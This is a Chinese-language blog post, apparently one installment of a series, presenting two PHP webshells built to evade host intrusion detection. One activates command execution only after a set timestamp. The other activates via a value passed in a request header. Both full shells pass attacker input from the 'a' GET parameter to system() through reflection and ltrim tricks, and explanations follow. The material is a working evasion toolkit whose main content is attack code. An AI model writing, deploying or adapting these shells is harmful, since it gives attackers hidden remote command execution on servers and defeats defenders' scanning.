继WEB安全--RCE--webshell HIDS bypass3的补充:
十三、时间开关
webshell:
<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {
$da = new DateTime();
echo $da->getTimestamp();
echo 'Name: ' . $param->getName() . PHP_EOL;
$n='F';
if ($param->isOptional()) {
if($da->getTimestamp()>=1725329100||$n='1'){
echo $n;
}
echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
}
echo PHP_EOL;
}
?>
原理:
核心位置
$n='F'
if($da->getTimestamp()>=1725329100||$n='1'){
echo $n;
}
或运算符“||”也叫短路运算符,当前者成立就不会再判断后者了
我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ,当$da->getTimestamp()>=1725329100为假,$n='1'就会执行赋值的操作,这时$n的值就由'F'变为'1',但是当$da->getTimestamp()>=1725329100为真,那么就不会执行$n='1'的操作,$n='F'的值就不变了。
我们的核心思想是:在上传webshell给hids检测时$da->getTimestamp()>=1725329100这个条件是假的,当然就不会被查杀,但是过了一段时间这个条件就为真了,我们这个时候访问webshell就能执行命令了。
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}
$function = new ReflectionFunction('foo');
创建一个函数传递内容,再用反射获取该函数
foreach ($function->getParameters() as $param)
遍历取出内容
$param->getDefaultValueConstantName()
这里的参数为FSYSTEM
ltrim($param->getDefaultValueConstantName(),$n)
此时满足时间条件,$n='F',ltrim从参数的默认值常量名中去掉前导的$n,也就是说FSYSTEM会变成SYSTEM,就能构成命令执行
十四、随机开关
webshell:
<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {
$da = new DateTime();
echo $da->getTimestamp();
echo 'Name: ' . $param->getName() . PHP_EOL;
$n='F';
if ($param->isOptional()) {
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
echo $n;
}
echo 'Default value: ' .
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
}
echo PHP_EOL;
}
?>
原理:
大致原理和时间开关相同。
核心位置
$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
echo $n;
}
$p->getMessage()??100:指如果前者有值就取前者,反之取后者的值
mt_rand(1,10):在1-10的闭区间随机取一个值
思考:如果在ParseError()中传入55,那么$p->getMessage()的值就是55,也就是说mt_rand(55,55) ==>55,if(55==55 || $n='1')第一个条件为真就不会进行$n='1'的操作,$n='F',就能截取FSYSTEM中的F了。